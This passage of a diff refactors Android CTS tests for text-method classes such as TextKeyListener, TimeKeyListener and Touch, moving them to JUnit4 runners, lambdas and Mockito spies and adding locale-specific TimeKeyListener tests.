-                method.onTakeFocus(mTextView, mSpannable, View.FOCUS_FORWARD);
-            }
-        });
+        runActionOnUiThread(() -> method.onTakeFocus(mTextView, mSpannable, View.FOCUS_FORWARD));
         assertTrue(mTextView.getScrollY() <= previousScrollY);
-        assertVisibleLineInTextView(0);
+        verifyVisibleLineInTextView(0);
 
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    method.onTakeFocus(null, mSpannable, View.FOCUS_FORWARD);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+        runActionOnUiThread(() -> {
+            try {
+                method.onTakeFocus(null, mSpannable, View.FOCUS_FORWARD);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    method.onTakeFocus(mTextView, null, View.FOCUS_FORWARD);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                method.onTakeFocus(mTextView, null, View.FOCUS_FORWARD);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
             }
         });
     }
 
+    @Test
     public void testHorizontalMovement() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
         final MyScrollingMovementMethod method = new MyScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("short");
-                mTextView.setSingleLine();
-                DisplayMetrics dm = getActivity().getResources().getDisplayMetrics();
-                int width = (int) (LITTLE_SPACE * dm.scaledDensity);
-                getActivity().setContentView(mTextView,
-                        new ViewGroup.LayoutParams(width, ViewGroup.LayoutParams.WRAP_CONTENT));
-            }
+        runActionOnUiThread(() -> {
+            mTextView.setText("short");
+            mTextView.setSingleLine();
+            final DisplayMetrics dm = mActivity.getResources().getDisplayMetrics();
+            final int width = (int) (LITTLE_SPACE * dm.scaledDensity);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(width, LayoutParams.WRAP_CONTENT));
         });
         assertNotNull(mTextView.getLayout());
 
@@ -782,39 +690,28 @@
         assertEquals(previousScrollX, mTextView.getScrollX());
     }
 
+    @Test
     public void testOnKeyOther() throws Throwable {
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                getActivity().setContentView(mTextView);
-            }
-        });
+        runActionOnUiThread(() -> mActivity.setContentView(mTextView));
         assertNotNull(mTextView.getLayout());
 
-        assertVisibleLineInTextView(0);
+        verifyVisibleLineInTextView(0);
         final MyScrollingMovementMethod method = new MyScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onKeyOther(mTextView, null,
-                        new KeyEvent(0, 0, KeyEvent.ACTION_MULTIPLE,
-                                KeyEvent.KEYCODE_DPAD_DOWN, 2));
-            }
-        });
-        assertVisibleLineInTextView(1);
+        runActionOnUiThread(() -> method.onKeyOther(mTextView, null,
+                new KeyEvent(0, 0, KeyEvent.ACTION_MULTIPLE,
+                        KeyEvent.KEYCODE_DPAD_DOWN, 2)));
+        verifyVisibleLineInTextView(1);
 
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onKeyOther(mTextView, null,
-                        new KeyEvent(0, 0, KeyEvent.ACTION_MULTIPLE,
-                                KeyEvent.KEYCODE_DPAD_UP, 2));
-            }
-        });
-        assertVisibleLineInTextView(0);
+        runActionOnUiThread(() -> method.onKeyOther(mTextView, null,
+                new KeyEvent(0, 0, KeyEvent.ACTION_MULTIPLE,
+                        KeyEvent.KEYCODE_DPAD_UP, 2)));
+        verifyVisibleLineInTextView(0);
     }
 
-    private void assertVisibleLineInTextView(int line) {
-        Layout layout = mTextView.getLayout();
-        int scrollY = mTextView.getScrollY();
-        int padding = mTextView.getTotalPaddingTop() + mTextView.getTotalPaddingBottom();
+    private void verifyVisibleLineInTextView(int line) {
+        final Layout layout = mTextView.getLayout();
+        final int scrollY = mTextView.getScrollY();
+        final int padding = mTextView.getTotalPaddingTop() + mTextView.getTotalPaddingBottom();
         assertTrue(layout.getLineForVertical(scrollY) <= line);
         assertTrue(layout.getLineForVertical(scrollY + mTextView.getHeight() - padding) >= line);
     }
@@ -825,8 +722,8 @@
     }
 
     private void runActionOnUiThread(Runnable actionRunner) throws Throwable {
-        runTestOnUiThread(actionRunner);
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(actionRunner);
+        mInstrumentation.waitForIdleSync();
     }
 
     private static abstract class ActionRunnerWithResult implements Runnable {
diff --git a/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
index 0eec6bf..ad622d0 100644
--- a/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
@@ -16,25 +16,38 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
 
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
+import android.text.SpannableString;
+import android.text.Spanned;
 import android.text.method.SingleLineTransformationMethod;
+import android.text.style.AlignmentSpan;
 import android.util.TypedValue;
 import android.widget.EditText;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link SingleLineTransformationMethod}.
  */
-public class SingleLineTransformationMethodTest
-        extends ActivityInstrumentationTestCase2<CtsActivity> {
-    public SingleLineTransformationMethodTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SingleLineTransformationMethodTest {
+    @Test
     public void testConstructor() {
         new SingleLineTransformationMethod();
     }
 
+    @Test
     public void testGetInstance() {
         SingleLineTransformationMethod method0 = SingleLineTransformationMethod.getInstance();
         assertNotNull(method0);
@@ -43,26 +56,41 @@
         assertSame(method0, method1);
     }
 
+    @Test
     public void testGetReplacement() {
         MySingleLineTranformationMethod method = new MySingleLineTranformationMethod();
-        TextMethodUtils.assertEquals(new char[] { ' ', '\uFEFF' }, method.getReplacement());
-        TextMethodUtils.assertEquals(new char[] { '\n', '\r' }, method.getOriginal());
+        assertArrayEquals(new char[] { ' ', '\uFEFF' }, method.getReplacement());
+        assertArrayEquals(new char[] { '\n', '\r' }, method.getOriginal());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetTransformation() {
         SingleLineTransformationMethod method = SingleLineTransformationMethod.getInstance();
         CharSequence result = method.getTransformation("hello\nworld\r", null);
         assertEquals("hello world\uFEFF", result.toString());
 
-        EditText editText = new EditTextNoIme(getActivity());
+        EditText editText = new EditTextNoIme(InstrumentationRegistry.getTargetContext());
         editText.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
         editText.setText("hello\nworld\r");
         // TODO cannot get transformed text from the view
     }
 
-    /**
-     * The Class MySingleLineTranformationMethod.
-     */
+    @Test
+    public void testSubsequence_doesNotThrowExceptionWithParagraphSpans() {
+        final SingleLineTransformationMethod method = SingleLineTransformationMethod.getInstance();
+        final SpannableString original = new SpannableString("\ntest data\nb");
+        final AlignmentSpan.Standard span = new AlignmentSpan.Standard(
+                Layout.Alignment.ALIGN_NORMAL);
+        original.setSpan(span, 1, original.length() - 1, Spanned.SPAN_PARAGRAPH);
+
+        final CharSequence transformed = method.getTransformation(original, null);
+        // expectation: should not throw an exception
+        transformed.subSequence(0, transformed.length());
+    }
+
+
+
     private static class MySingleLineTranformationMethod extends SingleLineTransformationMethod {
         @Override
         protected char[] getOriginal() {
diff --git a/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
index 19003cf..7851ded 100644
--- a/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
@@ -16,8 +16,23 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
 import android.os.SystemClock;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.UiThreadTest;
 import android.text.Editable;
 import android.text.InputType;
@@ -30,26 +45,27 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class TextKeyListenerTest extends KeyListenerTestCase {
     /**
      * time out of MultiTapKeyListener. longer than 2000ms in case the system is sluggish.
      */
     private static final long TIME_OUT = 3000;
 
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-    }
-
+    @Test
     public void testConstructor() {
         new TextKeyListener(Capitalize.NONE, true);
 
         new TextKeyListener(null, true);
     }
 
+    @Test
     public void testShouldCap() {
         String str = "hello world! man";
 
@@ -74,33 +90,31 @@
         assertFalse(TextKeyListener.shouldCap(Capitalize.SENTENCES, str, 14));
         assertFalse(TextKeyListener.shouldCap(Capitalize.WORDS, str, 14));
         assertTrue(TextKeyListener.shouldCap(Capitalize.CHARACTERS, str, 14));
-
-        try {
-            TextKeyListener.shouldCap(Capitalize.WORDS, null, 16);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
-    public void testOnSpanAdded() {
-        final MockTextKeyListener mockTextKeyListener
-                = new MockTextKeyListener(Capitalize.CHARACTERS, true);
+    @Test(expected=NullPointerException.class)
+    public void testShouldCapNull() {
+        TextKeyListener.shouldCap(Capitalize.WORDS, null, 16);
+    }
+
+    @Test
+    public void testOnSpanAdded() throws Throwable {
+        final TextKeyListener mockTextKeyListener = spy(
+                new TextKeyListener(Capitalize.CHARACTERS, true));
         final Spannable text = new SpannableStringBuilder("123456");
 
-        assertFalse(mockTextKeyListener.hadAddedSpan());
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(mockTextKeyListener);
-                mTextView.setText(text, BufferType.EDITABLE);
-            }
+        verify(mockTextKeyListener, never()).onSpanAdded(any(), any(), anyInt(), anyInt());
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(mockTextKeyListener);
+            mTextView.setText(text, BufferType.EDITABLE);
         });
         mInstrumentation.waitForIdleSync();
-
-        assertTrue(mockTextKeyListener.hadAddedSpan());
+        verify(mockTextKeyListener, atLeastOnce()).onSpanAdded(any(), any(), anyInt(), anyInt());
 
         mockTextKeyListener.release();
     }
 
+    @Test
     public void testGetInstance1() {
         TextKeyListener listener1 = TextKeyListener.getInstance(true, Capitalize.WORDS);
         TextKeyListener listener2 = TextKeyListener.getInstance(true, Capitalize.WORDS);
@@ -121,6 +135,7 @@
         listener4.release();
     }
 
+    @Test
     public void testGetInstance2() {
         TextKeyListener listener1 = TextKeyListener.getInstance();
         TextKeyListener listener2 = TextKeyListener.getInstance();
@@ -133,32 +148,35 @@
         listener2.release();
     }
 
+    @Test
     public void testOnSpanChanged() {
         TextKeyListener textKeyListener = TextKeyListener.getInstance();
         final Spannable text = new SpannableStringBuilder("123456");
         textKeyListener.onSpanChanged(text, Selection.SELECTION_END, 0, 0, 0, 0);
 
-        try {
-            textKeyListener.onSpanChanged(null, Selection.SELECTION_END, 0, 0, 0, 0);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
         textKeyListener.release();
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testOnSpanChangedNull() {
+        TextKeyListener textKeyListener = TextKeyListener.getInstance();
+        textKeyListener.onSpanChanged(null, Selection.SELECTION_END, 0, 0, 0, 0);
+    }
+
     @UiThreadTest
+    @Test
     public void testClear() {
         CharSequence text = "123456";
         mTextView.setText(text, BufferType.EDITABLE);
 
-        Editable content = (Editable) mTextView.getText();
+        Editable content = mTextView.getText();
         assertEquals(text, content.toString());
 
         TextKeyListener.clear(content);
         assertEquals("", content.toString());
     }
 
+    @Test
     public void testOnSpanRemoved() {
         TextKeyListener textKeyListener = new TextKeyListener(Capitalize.CHARACTERS, true);
         final Spannable text = new SpannableStringBuilder("123456");
@@ -183,22 +201,21 @@
      * 1. press KEYCODE_4 once. if it's ALPHA key board, text will be "4", if it's
      *    NUMERIC key board, text will be "g", else text will be "".
      */
-    public void testPressKey() {
+    @Test
+    public void testPressKey() throws Throwable {
         final TextKeyListener textKeyListener
                 = TextKeyListener.getInstance(false, Capitalize.NONE);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("", BufferType.EDITABLE);
-                Selection.setSelection((Editable) mTextView.getText(), 0, 0);
-                mTextView.setKeyListener(textKeyListener);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText("", BufferType.EDITABLE);
+            Selection.setSelection(mTextView.getText(), 0, 0);
+            mTextView.setKeyListener(textKeyListener);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
         assertEquals("", mTextView.getText().toString());
 
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_4);
         waitForListenerTimeout();
         String text = mTextView.getText().toString();
         int keyType = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD).getKeyboardType();
@@ -214,17 +231,16 @@
         textKeyListener.release();
     }
 
-    public void testOnKeyOther() {
+    @Test
+    public void testOnKeyOther() throws Throwable {
         final String text = "abcd";
         final TextKeyListener textKeyListener
                 = TextKeyListener.getInstance(false, Capitalize.NONE);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("", BufferType.EDITABLE);
-                Selection.setSelection((Editable) mTextView.getText(), 0, 0);
-                mTextView.setKeyListener(textKeyListener);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText("", BufferType.EDITABLE);
+            Selection.setSelection(mTextView.getText(), 0, 0);
+            mTextView.setKeyListener(textKeyListener);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals("", mTextView.getText().toString());
@@ -232,7 +248,7 @@
         // test ACTION_MULTIPLE KEYCODE_UNKNOWN key event.
         KeyEvent event = new KeyEvent(SystemClock.uptimeMillis(), text,
                 1, KeyEvent.FLAG_WOKE_HERE);
-        mKeyEventUtil.sendKey(mTextView, event);
+        CtsKeyEventUtil.sendKey(mInstrumentation, mTextView, event);
         mInstrumentation.waitForIdleSync();
         // the text of TextView is never changed, onKeyOther never works.
 //        assertEquals(text, mTextView.getText().toString()); issue 1731439
@@ -240,6 +256,7 @@
         textKeyListener.release();
     }
 
+    @Test
     public void testGetInputType() {
         TextKeyListener listener = TextKeyListener.getInstance(false, Capitalize.NONE);
         int expected = InputType.TYPE_CLASS_TEXT;
@@ -252,28 +269,4 @@
 
         listener.release();
     }
-
-    /**
-     * A mocked {@link android.text.method.TextKeyListener} for testing purposes.
-     *
-     * Tracks whether {@link MockTextKeyListener#onSpanAdded(Spannable, Object, int, int)} has been
-     * called.
-     */
-    private class MockTextKeyListener extends TextKeyListener {
-        private boolean mHadAddedSpan;
-
-        public MockTextKeyListener(Capitalize cap, boolean autotext) {
-            super(cap, autotext);
-        }
-
-        @Override
-        public void onSpanAdded(Spannable s, Object what, int start, int end) {
-            mHadAddedSpan = true;
-            super.onSpanAdded(s, what, start, end);
-        }
-
-        public boolean hadAddedSpan() {
-            return mHadAddedSpan;
-        }
-    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/TextMethodUtils.java b/tests/tests/text/src/android/text/method/cts/TextMethodUtils.java
index 0785cff..dbeb1e8 100644
--- a/tests/tests/text/src/android/text/method/cts/TextMethodUtils.java
+++ b/tests/tests/text/src/android/text/method/cts/TextMethodUtils.java
@@ -18,26 +18,8 @@
 
 import android.view.KeyEvent;
 
-import junit.framework.Assert;
-
 public class TextMethodUtils {
     /**
-     * Assert that two char arrays are equal.
-     *
-     * @param expected the expected char array.
-     * @param actual the actual char array.
-     */
-    public static void assertEquals(char[] expected, char[] actual) {
-        if (expected != actual) {
-            if (expected == null || actual == null) {
-                Assert.fail("the char arrays are not equal");
-            }
-
-            Assert.assertEquals(String.valueOf(expected), String.valueOf(actual));
-        }
-    }
-
-    /**
      * Get an unaccepted key code.
      *
      * @param acceptedChars accepted chars array.
diff --git a/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
index 4f68d54..a887a19 100644
--- a/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
@@ -16,46 +16,120 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.TimeKeyListener;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class TimeKeyListenerTest extends KeyListenerTestCase {
-
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-    }
-
+    @Test
     public void testConstructor() {
+        // deprecated empty constructor
         new TimeKeyListener();
+
+        // newer constructor that takes locales
+        new TimeKeyListener(null); // fallback to old behavior
+        new TimeKeyListener(Locale.US);
+        new TimeKeyListener(Locale.forLanguageTag("fa-IR"));
     }
 
+    @Test
     public void testGetInstance() {
-        TimeKeyListener listener1 = TimeKeyListener.getInstance();
-        TimeKeyListener listener2 = TimeKeyListener.getInstance();
+        final TimeKeyListener emptyListener1 = TimeKeyListener.getInstance();
+        final TimeKeyListener emptyListener2 = TimeKeyListener.getInstance();
+        final TimeKeyListener nullListener = TimeKeyListener.getInstance(null);
 
-        assertNotNull(listener1);
-        assertNotNull(listener2);
-        assertSame(listener1, listener2);
+        assertNotNull(emptyListener1);
+        assertNotNull(emptyListener2);
+        assertNotNull(nullListener);
+        assertSame(emptyListener1, emptyListener2);
+        assertSame(emptyListener1, nullListener);
+
+        final TimeKeyListener usListener1 = TimeKeyListener.getInstance(Locale.US);
+        final TimeKeyListener usListener2 = TimeKeyListener.getInstance(new Locale("en", "US"));
+        final TimeKeyListener irListener = TimeKeyListener.getInstance(
+                Locale.forLanguageTag("fa-IR"));
+
+        assertNotNull(usListener1);
+        assertNotNull(usListener2);
+        assertNotNull(irListener);
+        assertSame(usListener1, usListener2);
+        assertNotSame(usListener1, irListener);
+        assertNotSame(usListener1, nullListener);
     }
 
+    @Test
     public void testGetAcceptedChars() {
-        MockTimeKeyListener mockTimeKeyListener = new MockTimeKeyListener();
-        TextMethodUtils.assertEquals(TimeKeyListener.CHARACTERS,
-                mockTimeKeyListener.getAcceptedChars());
+        assertNotNull(TimeKeyListener.CHARACTERS);
+
+        final MockTimeKeyListener mockTimeKeyListener = new MockTimeKeyListener();
+        assertSame(TimeKeyListener.CHARACTERS, mockTimeKeyListener.getAcceptedChars());
+
+        final MockTimeKeyListener usMockTimeKeyListener = new MockTimeKeyListener(Locale.US);
+        assertNotSame(TimeKeyListener.CHARACTERS, usMockTimeKeyListener.getAcceptedChars());
+
+        MockTimeKeyListener irMockTimeKeyListener = new MockTimeKeyListener(
+                Locale.forLanguageTag("fa-IR"));
+        final String acceptedChars = new String(irMockTimeKeyListener.getAcceptedChars());
+        // Make sure all these chararacters are accepted.
+        final char[] expectedChars = {
+            '\u06F0', '\u06F1', '\u06F2', '\u06F3', '\u06F4',
+            '\u06F5', '\u06F6', '\u06F7', '\u06F8', '\u06F9',
+            ':'
+        };
+        for (int i = 0; i < expectedChars.length; i++) {
+            assertNotEquals(-1, acceptedChars.indexOf(expectedChars[i]));
+        }
+        // Make sure all these chararacters are not accepted.
+        final char[] unexpectedChars = {
+            '0', '1', '2', '3', '4',
+            '5', '6', '7', '8', '9'
+        };
+        for (int i = 0; i < unexpectedChars.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(unexpectedChars[i]));
+        }
+
     }
 
+    @Test
     public void testGetInputType() {
-        TimeKeyListener listener = TimeKeyListener.getInstance();
-        int expected = InputType.TYPE_CLASS_DATETIME
+        // The "normal" input type that has been used consistently until Android O.
+        final int dateTimeType = InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_TIME;
-        assertEquals(expected, listener.getInputType());
+        // Fallback for locales that need more characters.
+        final int textType = InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL;
+
+        // Deprecated constructor that needs to preserve pre-existing behavior.
+        TimeKeyListener listener = TimeKeyListener.getInstance();
+        assertEquals(dateTimeType, listener.getInputType());
+
+        // TYPE_CLASS_DATETIME is fine for English locales.
+        listener = TimeKeyListener.getInstance(Locale.US);
+        assertEquals(dateTimeType, listener.getInputType());
+        listener = TimeKeyListener.getInstance(Locale.UK);
+        assertEquals(dateTimeType, listener.getInputType());
+
+        // Persian needs more characters then typically provided by datetime inputs, so it falls
+        // back on normal text.
+        listener = TimeKeyListener.getInstance(Locale.forLanguageTag("fa-IR"));
+        assertEquals(textType, listener.getInputType());
     }
 
     /*
@@ -68,6 +142,7 @@
      * 6. Press an unaccepted key if it exists and this key could not be entered.
      * 7. Remove TimeKeyListener, '1' key will not be accepted.
      */
+    @Test
     public void testTimeKeyListener() {
         final TimeKeyListener timeKeyListener = TimeKeyListener.getInstance();
         String expectedText = "";
@@ -76,12 +151,12 @@
         assertEquals(expectedText, mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendString(mTextView, "1");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "1");
         expectedText += "1";
         assertEquals(expectedText, mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendString(mTextView, "2");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "2");
         expectedText += "2";
         assertEquals("12", mTextView.getText().toString());
 
@@ -89,35 +164,35 @@
         KeyCharacterMap kcm = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
         if ('a' == kcm.getMatch(KeyEvent.KEYCODE_A, TimeKeyListener.CHARACTERS)) {
             expectedText += "a";
-            mKeyEventUtil.sendKeyDownUp(mTextView, KeyEvent.KEYCODE_A);
+            CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_A);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         // press 'p' key if producible
         if ('p' == kcm.getMatch(KeyEvent.KEYCODE_P, TimeKeyListener.CHARACTERS)) {
             expectedText += "p";
-            mKeyEventUtil.sendKeyDownUp(mTextView, KeyEvent.KEYCODE_P);
+            CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_P);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         // press 'm' key if producible
         if ('m' == kcm.getMatch(KeyEvent.KEYCODE_M, TimeKeyListener.CHARACTERS)) {
             expectedText += "m";
-            mKeyEventUtil.sendKeyDownUp(mTextView, KeyEvent.KEYCODE_M);
+            CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_M);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         // press an unaccepted key if it exists.
         int keyCode = TextMethodUtils.getUnacceptedKeyCode(TimeKeyListener.CHARACTERS);
         if (-1 != keyCode) {
-            mKeyEventUtil.sendKeys(mTextView, keyCode);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, keyCode);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         setKeyListenerSync(null);
 
         // press '1' key.
-        mKeyEventUtil.sendString(mTextView, "1");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "1");
         assertEquals(expectedText, mTextView.getText().toString());
     }
 
@@ -128,6 +203,14 @@
      * {@link android.text.method.TimeKeyListener#getAcceptedChars()}.
      */
     private class MockTimeKeyListener extends TimeKeyListener {
+        MockTimeKeyListener() {
+            super();
+        }
+
+        MockTimeKeyListener(Locale locale) {
+            super(locale);
+        }
+
         @Override
         protected char[] getAcceptedChars() {
             return super.getAcceptedChars();
diff --git a/tests/tests/text/src/android/text/method/cts/TouchTest.java b/tests/tests/text/src/android/text/method/cts/TouchTest.java
index 233539c..8bd4fda 100644
--- a/tests/tests/text/src/android/text/method/cts/TouchTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TouchTest.java
@@ -16,10 +16,17 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.SpannableString;
 import android.text.TextPaint;
@@ -29,8 +36,14 @@
 import android.view.MotionEvent;
 import android.widget.TextView;
 
-public class TouchTest extends ActivityInstrumentationTestCase2<CtsActivity> {
-    private Activity mActivity;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TouchTest {
     private static final String LONG_TEXT = "Scrolls the specified widget to the specified " +
             "coordinates, except constrains the X scrolling position to the horizontal regions " +
             "of the text that will be visible after scrolling to the specified Y position." +
@@ -40,80 +53,64 @@
             "of the text that will be visible after scrolling to the specified Y position." +
             "This is the description of the test.";
 
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private boolean mReturnFromTouchEvent;
+    private TextView mTextView;
 
-    public TouchTest() {
-        super("android.text.cts", CtsActivity.class);
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
+
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mTextView = new TextViewNoIme(mActivity);
+        mTextView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testScrollTo() throws Throwable {
-        final TextView tv = new TextViewNoIme(mActivity);
-        tv.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(tv);
-                tv.setSingleLine(true);
-                tv.setLines(2);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mTextView);
+            mTextView.setSingleLine(true);
+            mTextView.setLines(2);
         });
-        getInstrumentation().waitForIdleSync();
-        TextPaint paint = tv.getPaint();
-        final Layout layout = tv.getLayout();
+        mInstrumentation.waitForIdleSync();
+        TextPaint paint = mTextView.getPaint();
+        final Layout layout = mTextView.getLayout();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                tv.setText(LONG_TEXT);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mTextView.setText(LONG_TEXT));
+        mInstrumentation.waitForIdleSync();
 
         // get the total length of string
         final int width = getTextWidth(LONG_TEXT, paint);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Touch.scrollTo(tv, layout, width - tv.getWidth() - 1, 0);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(width - tv.getWidth() - 1, tv.getScrollX());
-        assertEquals(0, tv.getScrollY());
+        mActivityRule.runOnUiThread(
+                () -> Touch.scrollTo(mTextView, layout, width - mTextView.getWidth() - 1, 0));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(width - mTextView.getWidth() - 1, mTextView.getScrollX());
+        assertEquals(0, mTextView.getScrollY());
 
         // the X to which scroll is greater than the total length of string.
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Touch.scrollTo(tv, layout, width + 100, 5);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(width - tv.getWidth(), tv.getScrollX(), 1.0f);
-        assertEquals(5, tv.getScrollY());
+        mActivityRule.runOnUiThread(() -> Touch.scrollTo(mTextView, layout, width + 100, 5));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(width - mTextView.getWidth(), mTextView.getScrollX(), 1.0f);
